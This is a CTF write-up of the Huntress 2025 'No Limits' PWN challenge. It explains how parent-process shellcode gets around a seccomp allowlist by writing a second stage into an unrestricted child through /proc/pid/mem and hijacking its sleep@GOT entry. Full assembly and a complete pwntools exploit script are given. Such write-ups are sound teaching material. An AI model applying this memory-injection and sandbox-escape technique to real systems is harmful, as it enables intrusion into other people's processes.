No Limits - Huntress CTF 2025 PWN Challenge Writeup

Huntress CTF 2025 "No Limits" PWN challenge writeup. Exploit parent-child process architecture to bypass seccomp restrictions using /proc/pid/mem and GOT hijacking techniques for privilege escalation.

Description

Challenge Author: @Wittner Challenge Prompt: Even when you only have a few options, don’t let anything hold you back!
Category: PWN
CTF: Huntress 2025

Solution

For this challenge I worked together with my teammate r34w0k3n, my final solution relies on the working approach he used.

For this challenge we are given a simple binary to reverse engineer and exploit to retrieve the flag. The challenge author even provides us with a note on where to locate the flag on the filesystem.

The flag is in the root directory at /flag.txt

Analyzing the binary

First, we run checksec to gather some information about the binarys security features:

checksec --file=no_limits
[*] 'no_limits'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)

Key observations:

  • No PIE: All addresses are fixed, making exploitation easier
  • Partial RELRO: GOT entries are writable
  • NX enabled: Stack is not executable

Next we can load the binary into a decompiler to analyze its functionality. One key observation is that there is a fork() call at the very beginning of the main function. The parent process handles a simple menu, while the child process enters an infinite loop.

v6 = fork();
if (v6) {
    // PARENT PROCESS - handles menu
} else {
    // CHILD PROCESS - infinite loop
}

Parent Process

The parent process presents a menu with four options:

  • Create Memory: Allows memory allocation with custom permissions
  • Get Debug Informationn: Prints the PID of the child process
  • Execute Code: Can execute code at arbitrary addresses
  • Exit

This makes it quite simple to execute shellcode in the parent process. However before the code is executed there is a seccomp filter applied. Since it operates on an allowlist, only a limited number of syscalls are permitted, and this cannot be circumvented by using alternative syscalls that provide similar functionality. Execute Code section:

puts("Where do you want to execute code?");
__isoc99_scanf("%lx", &v9);
ProtectProgram();
v12 = v9;
v9();

ProtectProgram applies the seccomp filter:

v22 = seccomp_init(0);
v1 = seccomp_rule_add(v22, 2147418112, 4, 0);
v2 = seccomp_rule_add(v22, 2147418112, 5, 0) | v1;
v3 = seccomp_rule_add(v22, 2147418112, 6, 0) | v2;
v4 = seccomp_rule_add(v22, 2147418112, 8, 0) | v3;
v5 = seccomp_rule_add(v22, 2147418112, 10, 0) | v4;
v6 = seccomp_rule_add(v22, 2147418112, 12, 0) | v5;
v7 = seccomp_rule_add(v22, 2147418112, 21, 0) | v6;
v8 = seccomp_rule_add(v22, 2147418112, 24, 0) | v7;
v9 = seccomp_rule_add(v22, 2147418112, 32, 0) | v8;
v10 = seccomp_rule_add(v22, 2147418112, 33, 0) | v9;
v11 = seccomp_rule_add(v22, 2147418112, 56, 0) | v10;
v12 = seccomp_rule_add(v22, 2147418112, 57, 0) | v11;
v13 = seccomp_rule_add(v22, 2147418112, 58, 0) | v12;
v14 = seccomp_rule_add(v22, 2147418112, 60, 0) | v13;
v15 = seccomp_rule_add(v22, 2147418112, 62, 0) | v14;
v16 = seccomp_rule_add(v22, 2147418112, 1, 0) | v15;
v17 = seccomp_rule_add(v22, 2147418112, 2, 0) | v16;
v18 = seccomp_rule_add(v22, 2147418112, 96, 0) | v17;
v19 = seccomp_rule_add(v22, 2147418112, 102, 0) | v18;
v20 = seccomp_rule_add(v22, 2147418112, 104, 0) | v19;
v21 = seccomp_rule_add(v22, 2147418112, 231, 0) | v20;

Based on this, the allowed syscalls in the parent process are:

Syscall # Name Description
1 write Write to file descriptor
2 open Open file
4 stat Get file status
5 fstat Get file status (by fd)
6 lstat Get symbolic link status
8 lseek Reposition file offset
10 mprotect Set memory protection
12 brk Change data segment size
21 access Check file accessibility
24 sched_yield Yield processor
32 dup Duplicate file descriptor
33 dup2 Duplicate file descriptor
56 clone Create child process
57 fork Create child process
58 vfork Create child process
60 exit Exit process
62 kill Send signal to process
96 gettimeofday Get time
102 getuid Get user ID
104 getgid Get group ID
231 exit_group Exit all threads

Notably, read() (syscall 0) is not allowed, which prevents direct file reading from the parent process.

Child Process

The child process enters an infinite loop where it allocates memory and then loops, sleeping for 5 seconds each iteration.

ptr = malloc(0x100u);
while (1) {
    strcpy(s1, "Hello world!\n");
    if (!strncmp(s1, "Give me the flag!", 0x11u))
        printf("I will not give you the flag!");
    v7 = strncmp(s1, "exit", 4u);
    if (!v7)
        break;
    sleep(5u);  // ← Key: calls sleep every 5 seconds!
}

Most importantly, the child process has No seccomp restrictions and therefore any syscall can be used.

Crafting the Exploit

To solve this challenge and read the flag from the filesystem both processes can be used. As there is no way to use the read syscall in the parent process, we can leverage the child process to read the flag. The exploitation steps are as follows:

  1. Use shellcode in the parent to inject shellcode into the child’s memory
  2. Hijack the child’s GOT to redirect sleep() to our shellcode
  3. Wait for the child to call sleep() from its infinite loop
  4. The child executes the written shellcode without any seccomp restrictions and reads the flag

The exploitation relies on a special Linux interface: /proc/[pid]/mem. This pseudo-file provides direct access to a process virtual memory space. By opening this file with write permissions, arbitrary data can be written into the target process memory, even into read-only sections like .text.

The parent process can open /proc/[child_pid]/mem, use lseek() to position at the target address, and use write() to inject shellcode. All those syscalls are permitted under the seccomp filter. Since PIE is disabled, all addresses are fixed and predictable.

Shellcode

The injected shellcode is split into two parts:

  • Stage 1: Runs in the parent process (must be seccomp compliant)
  • Stage 2: Runs in the child process (no seccomp restrictions)
Stage 1: Parent Shellcode

The first stage must work within the seccomp restrictions. Its sole purpose is to inject stage 2 into the child’s memory and hijack the GOT. It uses only the allowed syscalls: open, lseek, and write.

Getting the Current Instruction Pointer:

.intel_syntax noprefix
    .globl _start
    _start:
        call get_rip
    get_rip:
        pop rbx

This uses the classic call/pop technique to obtain the current instruction pointer. The call pushes the return address onto the stack, which is immediately retrieved using pop into rbx. This allows the calculation of the relative addresses for position-independent code.

Locating Stage 2 Within the Code:

    lea r12, stage2[rip]
    lea r13, stage2_end[rip]
    sub r13, r12

These instructions calculate the location and size of stage 2, which is embedded at the end of the shellcode. r12 now holds the address of stage 2, and r13 holds its size in bytes. This is crucial because stage 2 needs to be copied into the child’s memory.

Opening the child’s Memory:

    lea rdi, path[rip]
    mov rsi, 1              /* O_WRONLY */
    xor rdx, rdx
    mov rax, 2              /* sys_open */
    syscall
    
    mov rdi, rax

Opens /proc/[child_pid]/mem with write-only permissions. This special file provides direct access to the child process virtual memory. The file descriptor is saved in rdi for subsequent operations. Crucially, this file allows the shellcode to write to any mapped region in the child’s address space, including read-only sections.

Writing Stage 2 to child’s .text Section:

    mov rax, 8              /* sys_lseek */
    movabs rsi, 0x4012B0    /* target address in child */
    xor rdx, rdx            
    syscall
    
    mov rax, 1              /* sys_write */
    mov rsi, r12            /* source buffer */
    mov rdx, r13            /* size */
    syscall

First, lseek positions the file pointer to 0x4012B0 in the child’s memory. This is the start address of the child’s .text section where the second stage will be written. Then, write copies the stage 2 bytes from the parent process memory r12 (Locating Stage 2 Within the Code) into the child’s .text section. Even though .text is normally read-only, writing through /proc/pid/mem bypasses this protection.

Hijacking the child’s GOT:

    mov rax, 8
    movabs rsi, 0x4040a8    /* sleep@GOT */
    xor rdx, rdx
    syscall
    
    lea rsi, got_value[rip]
    mov rdx, 8
    mov rax, 1
    syscall

The code seeks to the GOT entry for sleep() at 0x4040a8, then writes an 8-byte value: 0x4012B0. This overwrites the GOT entry, so when the child calls sleep(), it will instead jump to 0x4012B0 where the stage 2 shellcode now resides.

Parent infinite loop:

.align 8
loop:
    jmp loop

An infinite loop keeps the parent process running. This is necessary because if the parent exits, the entire process tree (including the child) would be killed.

Data Section:

.align 8
got_value:
    .quad 0x4012B0          /* Value to write into GOT */
.align 8
path:
    .asciz "/proc/{child_pid}/mem"

Contains the data needed by stage1: the address to write into the GOT, and the path string for opening the child’s memory.

Stage 2: Child Shellcode

Stage 2 is embedded at the end of the full shellcode payload. During stage 1 execution, it copies stage 2 into the child’s memory at address 0x4012B0. Later, when the child calls sleep() in its infinite loop, the hijacked GOT entry redirects execution to our injected stage 2 shellcode.

Opening the Flag File:

stage2:
    lea rdi, flagpath[rip]
    xor rsi, rsi            /* O_RDONLY */
    xor rdx, rdx
    mov rax, 2              /* sys_open */
    syscall
    
    mov rdi, rax

Opens /flag.txt for reading. The file descriptor is saved in rdi. This uses the same open() syscall that stage1 used.

Reading the Flag:

    sub rsp, 0x300
    mov rsi, rsp
    mov rdx, 0x200
    xor rax, rax            /* sys_read */
    syscall

Allocates 0x300 bytes of stack space as a buffer, then uses read() to read up to 0x200 bytes from the file into that buffer. The important point: read() (syscall 0) is blocked in the parent by seccomp, but works in the child because the child has no seccomp restrictions.

Writing Flag to stdout:

    mov rdx, rax            /* bytes read */
    mov rax, 1              /* sys_write */
    mov rdi, 1              /* stdout */
    mov rsi, rsp
    syscall

Writes the flag content to stdout (file descriptor 1). The number of bytes to write comes from the return value of read() in rax.

Clean Exit:

    mov rax, 60             /* sys_exit */
    xor rdi, rdi
    syscall

Exits the child process cleanly with exit code 0. This prevents the child from crashing and ensures the flag output is flushed.

Data Section:

.align 8
flagpath:
    .asciz "/flag.txt"
.align 8
stage2_end:

Contains the path string for the flag file, and marks the end of stage 2 for size calculation.

Exploit Execution Flow

The complete exploit flow works as follows:

  1. Connect and Get Child PID: Send command 2 to get debug information, which reveals the child process PID
  2. Allocate Executable Memory: Send command 1 to create memory with RWX permissions for our shellcode
  3. Inject Shellcode: Upload the stage 1 shellcode (which contains stage 2 embedded within it)
  4. Execute Stage 1: Send command 3 to execute our shellcode at the allocated address
  5. Stage 1 Actions:
    • Opens /proc/[child_pid]/mem
    • Writes stage 2 shellcode to address 0x4012B0 in child’s memory
    • Overwrites child’s sleep@GOT entry to point to 0x4012B0
    • Enters infinite loop to keep parent alive
  6. Wait for Child: The child continues its loop, and after ~5 seconds calls sleep()
  7. GOT Hijack Triggers: Instead of calling sleep(), the child jumps to our stage 2 shellcode
  8. Stage 2 Executes:
    • Opens /flag.txt
    • Reads flag content (using unrestricted read() syscall)
    • Writes flag to stdout
    • Exits cleanly

solve.py

The Python exploit script handles all the steps automatically:

#!/usr/bin/env python3
from pwn import *

context.arch = 'amd64'
context.binary = ELF('./no_limits')
context.log_level = 'info'

GOT_SLEEP = context.binary.got['sleep']
TARGET_ADDR = 0x4012B0

def build_payload(child_pid: int):
    asm_src = f'''
    .intel_syntax noprefix
    .globl _start
    _start:
        call get_rip
    get_rip:
        pop rbx
        
        lea r12, stage2[rip]
        lea r13, stage2_end[rip]
        sub r13, r12
        
        lea rdi, path[rip]
        mov rsi, 1
        xor rdx, rdx
        mov rax, 2
        syscall
        
        mov rdi, rax
        
        mov rax, 8
        movabs rsi, {hex(TARGET_ADDR)}
        xor rdx, rdx
        syscall
        
        mov rax, 1
        mov rsi, r12
        mov rdx, r13
        syscall
        
        mov rax, 8
        movabs rsi, {hex(GOT_SLEEP)}
        xor rdx, rdx
        syscall
        
        lea rsi, got_value[rip]
        mov rdx, 8
        mov rax, 1
        syscall
    
    .align 8
    loop:
        jmp loop
    
    .align 8
    got_value:
        .quad {hex(TARGET_ADDR)}
    .align 8
    path:
        .asciz "/proc/{child_pid}/mem"
    .align 8
    stage2:
        lea rdi, flagpath[rip]
        xor rsi, rsi
        xor rdx, rdx
        mov rax, 2
        syscall
        
        mov rdi, rax
        sub rsp, 0x300
        mov rsi, rsp
        mov rdx, 0x200
        xor rax, rax
        syscall
        
        mov rdx, rax
        mov rax, 1
        mov rdi, 1
        mov rsi, rsp
        syscall
        
        mov rax, 60
        xor rdi, rdi
        syscall
    .align 8
    flagpath:
        .asciz "/flag.txt"
    .align 8
    stage2_end:
    '''
    return asm(asm_src)

def main():
    p = remote('10.1.106.87', 9999)  # Change to process('./no_limits') for local
    
    p.sendlineafter(b'command you want to do:', b'2')
    p.recvuntil(b'Child PID = ')
    child_pid = int(p.recvline().strip())
    log.success(f'Child PID: {child_pid}')
    
    sc = build_payload(child_pid)
    
    p.sendlineafter(b'command you want to do:', b'1')
    p.sendlineafter(b'big', str(len(sc)).encode())
    p.sendlineafter(b'permissions', b'7')
    p.sendlineafter(b'include?', sc)
    p.recvuntil(b'Wrote your buffer at ')
    addr = int(p.recvline().strip(), 16)
    log.success(f'Shellcode at: {hex(addr)}')
    
    p.sendlineafter(b'command you want to do:', b'3')
    p.sendlineafter(b'execute', hex(addr).encode())
    
    log.info('Waiting for child to call sleep() and print flag...')
    sleep(6)
    p.interactive()

if __name__ == '__main__':
    main()

This ctf was solved together with the ByteStorm Team.